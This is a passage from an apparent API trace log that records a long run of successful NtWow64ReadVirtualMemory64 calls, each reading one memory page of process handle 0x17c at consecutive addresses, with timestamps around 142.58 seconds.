BufferSize=0x2532000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.579] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e3000, Buffer=0x7fff, BufferSize=0x2533000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.579] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e4000, Buffer=0x7fff, BufferSize=0x2534000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.579] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e5000, Buffer=0x7fff, BufferSize=0x2535000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.579] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e6000, Buffer=0x7fff, BufferSize=0x2536000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.580] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e7000, Buffer=0x7fff, BufferSize=0x2537000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.580] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e8000, Buffer=0x7fff, BufferSize=0x2538000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.580] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e9000, Buffer=0x7fff, BufferSize=0x2539000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.580] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ea000, Buffer=0x7fff, BufferSize=0x253a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.580] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07eb000, Buffer=0x7fff, BufferSize=0x253b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.580] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ec000, Buffer=0x7fff, BufferSize=0x253c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.581] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ed000, Buffer=0x7fff, BufferSize=0x253d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.581] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ee000, Buffer=0x7fff, BufferSize=0x253e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.581] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ef000, Buffer=0x7fff, BufferSize=0x253f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.581] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f0000, Buffer=0x7fff, BufferSize=0x2540000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.581] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f1000, Buffer=0x7fff, BufferSize=0x2541000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.581] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f2000, Buffer=0x7fff, BufferSize=0x2542000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.581] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f3000, Buffer=0x7fff, BufferSize=0x2543000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.581] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f4000, Buffer=0x7fff, BufferSize=0x2544000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.582] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f5000, Buffer=0x7fff, BufferSize=0x2545000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.582] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f6000, Buffer=0x7fff, BufferSize=0x2546000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.582] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f7000, Buffer=0x7fff, BufferSize=0x2547000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.582] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f8000, Buffer=0x7fff, BufferSize=0x2548000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.582] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f9000, Buffer=0x7fff, BufferSize=0x2549000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.582] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fa000, Buffer=0x7fff, BufferSize=0x254a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.583] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fb000, Buffer=0x7fff, BufferSize=0x254b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.583] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fc000, Buffer=0x7fff, BufferSize=0x254c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.583] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fd000, Buffer=0x7fff, BufferSize=0x254d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.583] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fe000, Buffer=0x7fff, BufferSize=0x254e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.583] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ff000, Buffer=0x7fff, BufferSize=0x254f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.583] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0800000, Buffer=0x7fff, BufferSize=0x2550000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.584] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0801000, Buffer=0x7fff, BufferSize=0x2551000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.584] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0802000, Buffer=0x7fff, BufferSize=0x2552000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.584] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0803000, Buffer=0x7fff, BufferSize=0x2553000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.584] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0804000, Buffer=0x7fff, BufferSize=0x2554000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.584] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0805000, Buffer=0x7fff, BufferSize=0x2555000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.584] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0806000, Buffer=0x7fff, BufferSize=0x2556000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.585] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0807000, Buffer=0x7fff, BufferSize=0x2557000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.585] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0808000, Buffer=0x7fff, BufferSize=0x2558000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.585] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0809000, Buffer=0x7fff, BufferSize=0x2559000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.585] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080a000, Buffer=0x7fff, BufferSize=0x255a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.585] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080b000, Buffer=0x7fff, BufferSize=0x255b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.585] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080c000, Buffer=0x7fff, BufferSize=0x255c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.585] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080d000, Buffer=0x7fff, BufferSize=0x255d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.586] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080e000, Buffer=0x7fff, BufferSize=0x255e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.586] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080f000, Buffer=0x7fff, BufferSize=0x255f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.586] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0810000, Buffer=0x7fff, BufferSize=0x2560000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.586] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0811000, Buffer=0x7fff, BufferSize=0x2561000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.586] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0812000, Buffer=0x7fff, BufferSize=0x2562000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.586] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0813000, Buffer=0x7fff, BufferSize=0x2563000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.586] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0814000, Buffer=0x7fff, BufferSize=0x2564000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.587] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0815000, Buffer=0x7fff, BufferSize=0x2565000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.587] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0816000, Buffer=0x7fff, BufferSize=0x2566000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.587] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0817000, Buffer=0x7fff, BufferSize=0x2567000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.587] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0818000, Buffer=0x7fff, BufferSize=0x2568000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.587] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0819000, Buffer=0x7fff, BufferSize=0x2569000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.587] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081a000, Buffer=0x7fff, BufferSize=0x256a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.587] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081b000, Buffer=0x7fff, BufferSize=0x256b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.588] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081c000, Buffer=0x7fff, BufferSize=0x256c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.588] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081d000, Buffer=0x7fff, BufferSize=0x256d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.588] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081e000, Buffer=0x7fff, BufferSize=0x256e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.588] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081f000, Buffer=0x7fff, BufferSize=0x256f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.588] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0820000, Buffer=0x7fff, BufferSize=0x2570000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.588] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0821000, Buffer=0x7fff, BufferSize=0x2571000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.588] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0822000, Buffer=0x7fff, BufferSize=0x2572000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.588] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0823000, Buffer=0x7fff, BufferSize=0x2573000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.589] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0824000, Buffer=0x7fff, BufferSize=0x2574000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.589] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0825000, Buffer=0x7fff, BufferSize=0x2575000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.589] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0826000, Buffer=0x7fff, BufferSize=0x2576000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.589] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0827000, Buffer=0x7fff, BufferSize=0x2577000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.589] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0828000, Buffer=0x7fff, BufferSize=0x2578000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.589] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0829000, Buffer=0x7fff, BufferSize=0x2579000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.589] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082a000, Buffer=0x7fff, BufferSize=0x257a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.590] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082b000, Buffer=0x7fff, BufferSize=0x257b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.590] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082c000, Buffer=0x7fff, BufferSize=0x257c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.590] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082d000, Buffer=0x7fff, BufferSize=0x257d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.590] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082e000, Buffer=0x7fff, BufferSize=0x257e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.590] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082f000, Buffer=0x7fff, BufferSize=0x257f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.590] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0830000, Buffer=0x7fff, BufferSize=0x2580000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.590] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0831000, Buffer=0x7fff, BufferSize=0x2581000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.591] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0832000, Buffer=0x7fff, BufferSize=0x2582000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.591] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0833000, Buffer=0x7fff, BufferSize=0x2583000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.591] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0834000, Buffer=0x7fff, BufferSize=0x2584000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.591] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0835000, Buffer=0x7fff, BufferSize=0x2585000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.591] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0836000, Buffer=0x7fff, BufferSize=0x2586000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.591] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0837000, Buffer=0x7fff, BufferSize=0x2587000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.591] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0838000, Buffer=0x7fff, BufferSize=0x2588000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.592] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0839000, Buffer=0x7fff, BufferSize=0x2589000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.592] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083a000, Buffer=0x7fff, BufferSize=0x258a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.592] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083b000, Buffer=0x7fff, BufferSize=0x258b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.592] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083c000, Buffer=0x7fff, BufferSize=0x258c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.592] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083d000, Buffer=0x7fff, BufferSize=0x258d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.592] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083e000, Buffer=0x7fff, BufferSize=0x258e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.593] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083f000, Buffer=0x7fff, BufferSize=0x258f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.593] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0840000, Buffer=0x7fff, BufferSize=0x2590000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.593] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0841000, Buffer=0x7fff, BufferSize=0x2591000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.593] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0842000, Buffer=0x7fff, BufferSize=0x2592000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.593] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0843000, Buffer=0x7fff, BufferSize=0x2593000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.593] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0844000, Buffer=0x7fff, BufferSize=0x2594000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.594] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0845000, Buffer=0x7fff, BufferSize=0x2595000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.594] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0846000, Buffer=0x7fff, BufferSize=0x2596000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.594] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0847000, Buffer=0x7fff, BufferSize=0x2597000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.594] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0848000, Buffer=0x7fff, BufferSize=0x2598000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.595] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0849000, Buffer=0x7fff, BufferSize=0x2599000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.595] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084a000, Buffer=0x7fff, BufferSize=0x259a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.595] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084b000, Buffer=0x7fff, BufferSize=0x259b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.595] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084c000, Buffer=0x7fff, BufferSize=0x259c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.595] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084d000, Buffer=0x7fff, BufferSize=0x259d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.595] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084e000, Buffer=0x7fff, BufferSize=0x259e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.595] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084f000, Buffer=0x7fff, BufferSize=0x259f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.595] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0850000, Buffer=0x7fff, BufferSize=0x25a0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.596] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0851000, Buffer=0x7fff, BufferSize=0x25a1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.596] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0852000, Buffer=0x7fff, BufferSize=0x25a2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.596] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0853000, Buffer=0x7fff, BufferSize=0x25a3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.596] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0854000, Buffer=0x7fff, BufferSize=0x25a4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.596] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0855000, Buffer=0x7fff, BufferSize=0x25a5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.596] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0856000, Buffer=0x7fff, 